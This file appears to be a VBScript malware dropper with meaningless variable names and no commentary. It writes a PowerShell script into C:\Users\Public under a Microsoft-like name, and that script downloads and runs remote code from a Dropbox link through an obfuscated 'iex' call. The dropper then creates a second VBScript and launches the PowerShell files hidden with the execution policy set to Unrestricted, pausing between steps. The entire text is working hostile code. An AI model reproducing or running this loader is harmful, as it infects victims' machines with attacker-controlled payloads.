Dim DSFSDF, SSFAFAF
Set DSFSDF = CreateObject("Scripting.FileSystemObject")
Set SSFAFAF = DSFSDF.CreateTextFile("C:\Users\Public\MicrosofttopclayeSH.ps1",True)
WScript.Sleep(5000)
SSFAFAF.WriteLine "i'e'x ((New-Object System.Net.WebClient).DownloadString('https://dl.dropbox.com/s/9r6dz0xby0ha2o0/2_INSTALL.ps1?dl=0'))"
WScript.Sleep(10000)
Set objOutFile=DSFSDF.CreateTextFile("C:\Users\Public\clayeSHv2.vbs",True)
objOutFile.WriteLine "qqqq = ""powershell.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\MicrosofttopclayeSH.ps1"""
objOutFile.WriteLine "set shell = CreateObject(""WScript.Shell"")"
objOutFile.WriteLine "shell.Run qqqq,0"
WScript.Sleep(30000)
FSDFSD = "powershell.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttop1.ps1"
set FFFFD = CreateObject("WScript.Shell")
FFFFD.Run FSDFSD,0